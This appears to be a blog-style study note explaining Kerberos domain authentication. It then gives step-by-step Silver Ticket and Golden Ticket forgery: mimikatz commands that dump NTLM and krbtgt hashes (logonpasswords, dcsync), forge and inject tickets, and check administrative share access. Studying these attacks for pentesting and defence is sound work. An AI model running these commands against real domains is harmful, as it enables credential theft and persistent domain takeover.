Intranet Security: Kerberos Domain Authentication Process—Golden Tickets and Silver Tickets

0x00 Prerequisites

This is a summary I wrote after studying the topic to deepen my own understanding. I referred to Master Qingxuan’s explanation, which I thought was quite good, and added my own understanding and some other material. I am sharing it here both for others and to make it easier for me to review and expand my knowledge later.
As for the diagrams, drawing them on a computer was too much work, and they were difficult to understand anyway, so I simply drew a few by hand to help myself understand and become familiar with the process. They turned out pretty well—insert doge face here, haha.

0x01 Kerberos Domain Authentication

Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications through a key system. Its authentication process does not depend on host operating system authentication, does not require trust based on host addresses, does not require all hosts on the network to be physically secure, and assumes that packets transmitted over the network may be read, modified, or injected arbitrarily. Under these conditions, Kerberos acts as a trusted third-party authentication service and performs authentication using conventional cryptographic techniques, such as shared keys.

The Kerberos logo has three dog heads, representing the following roles:

Client
Server
KDC (Key Distribution Center) = DC (Domain Controller)

Basic terminology:

KDC: Key Distribution Center. It is responsible for managing, authenticating, and distributing tickets. However, the KDC is not an independent service; it consists of the AS and TGS.
AD: Account Database. It stores the allowlist of all clients. Only clients included in the allowlist can successfully request a TGT.

(Physically, the KDC and AD are hosted on the same machine.)
TGT: Ticket Granting Ticket = an admission ticket. It is a temporary credential that can be used to obtain other tickets.
AS (Authentication Server) = the authentication server, which generates TGTs for clients.
TGS (Ticket Granting Server) = the ticket-granting server.
SS (Service Server) = the provider of a specific service.

Overview of the Domain Authentication Process:

A user on the client requests the KDC service. The AS eventually generates a TGT and returns it to the client.
The client uses the TGT to request an ST (TGS ticket), the ticket actually used for access, from the TGS on the KDC.
The client uses the ST (TGS Ticket) to access the server.

Part One: Generating the TGT and Session Key

The client sends its identity information to the KDC (at minimum, this information contains the username). Based on the username, the KDC checks AD to determine whether the client is on the allowlist, then retrieves the corresponding NTLM hash.
The KDC then generates a random string called the Session Key. It encrypts the Session Key with the client’s NTLM hash to produce the AS data. It also encrypts the Session Key and client information with the NTLM hash of the krbtgt account in the KDC to generate the TGT.

Part One: The TGT has been obtained.

Note: The client cannot decrypt the TGT it receives. The TGT returned by the KDC cannot be decrypted by the client because the client does not have the KDC hash, which refers to the krbtgt hash.

This is the principle behind forging Golden Tickets, which will be introduced later.

Step Two: Obtaining the Server Ticket for the Target Service

The client uses the Session Key, decrypted with its own NTLM hash, to encrypt the client information and timestamp.

Even if this data were intercepted by a man-in-the-middle, it could not be cracked within a short period because the KDC validates the timestamp.

After receiving the TGT and the other content, the KDC first decrypts the TGT. Only the KDC can decrypt the TGT. It extracts the Session Key from the TGT and then uses that Session Key to decrypt the other content. The decrypted content is compared with the information in the TGT to verify whether the client is trusted.
After verification succeeds, a new Session Key is generated, which we call the Server Session Key.

This Server Session Key is primarily used to communicate with the server. A Ticket, which is the final ticket, is also generated.

Note: Server Hash refers to the NTLM hash of the server computer stored in AD.

Step Three: The Client Requests Authentication from the Server

To make a request to the server, the client must provide the Ticket, along with the client information and timestamp encrypted using the Server Session Key.

The client cannot decrypt the Ticket because it does not have the Server Hash, so it can only send the Ticket to the server.
The server uses its own hash to decrypt the Ticket and obtain the decrypted Server Session Key (Client info + Timestamp).
It uses the newly decrypted Session Key to decrypt the Client info + Timestamp and verify the client information and timestamp.

After validation succeeds, authentication is successful. The ticket remains in the client’s memory, and the login ultimately succeeds.

Silver Ticket forgery occurs during this authentication step and is described below.

0x01 Silver Tickets

Prerequisites for a Silver Ticket:

No interaction with the KDC is required; authentication is performed directly with the server.
The NTLM hash of the target service is required.

Composition of the Ticket used in the third authentication step:

Ticket=Server Hash(Server Session Key+Client info+End Time)

Principle:
If we possess the Server Hash, we can forge a Ticket that has not been authenticated by the KDC and submit it directly to the server for validation.

Note: The server does not initially know the Server Session Key. It obtains the Server Session Key by decrypting the Ticket. Therefore, the Server Hash is at the core of all credentials. With it, a ticket can be forged directly for authentication.

Forging Silver Tickets

First, export the Server Hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Alternatively, use an MSF module:

meterpreter > load mimikatz
meterpreter > msv

Forge the ticket:

Clear the tickets from the current system:

klist purge

Forge the ticket:

mimikatz.exe “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

mimikatz.exe "kerberos::golden /domain:zeo.com /sid:S-1-5-21-1111111111-111111111-11111111111 /target:DC.zeo.com /service:CIFS /rc4:7c4a8d09ca3762af61e59520943dc26494f8941b /user:admin /ptt" exit

Verify privileges:

dir \\DC\c$

Because a Silver Ticket requires the hash of the target server, it is not possible to generate tickets for every server in the domain. Tickets can therefore only be forged for specific services on a server. The service types that can be forged are listed below:

Service Description	Service Name
WMI	HOST, RPCSS
PowerShell Remoting	HOST, HTTP
WinRM	HOST, HTTP
Scheduled Tasks	HOST
LDAP, DCSync	LDAP
Windows File Share (CIFS)	CIFS
Windows Remote Server Administration Tools	RPCSS, LDAP, CIFS

0x02 Golden Tickets

Prerequisites for a Golden Ticket:

Communication with the DC is required.
The hash of the krbtgt account is required (meaning that the domain controller must be compromised).

Principle of a Golden Ticket:

A Golden Ticket is a forged TGT. During the second authentication step, it is sent to the TGS on the KDC. If we possess the hash of the krbtgt account, we can forge a TGT directly. The Session Key required by the KDC is obtained after the KDC decrypts the TGT, so the Session Key is forged together with the TGT. Subsequent authentication can then be used to generate any desired ticket.

Forging a Golden Ticket

Run mimikatz with administrator privileges to obtain the critical krbtgt hash:

mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

Obtain the SIDs of all users in the domain:

Domain user privileges are sufficient. Remove the final number from the SID.

wmic useraccount get name,sid

Clear existing tickets:

mimikatz.exe "kerberos::purge" exit

Generate the ticket:

mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

There is also a simpler method: Cobalt Strike directly provides a Golden Ticket generation option, which is very convenient.

Inject the ticket into memory:

mimikatz.exe "kerberos::ptt Administrator.kiribi" exit

Tickets in the current session:

mimikatz.exe "kerberos::tgt" exit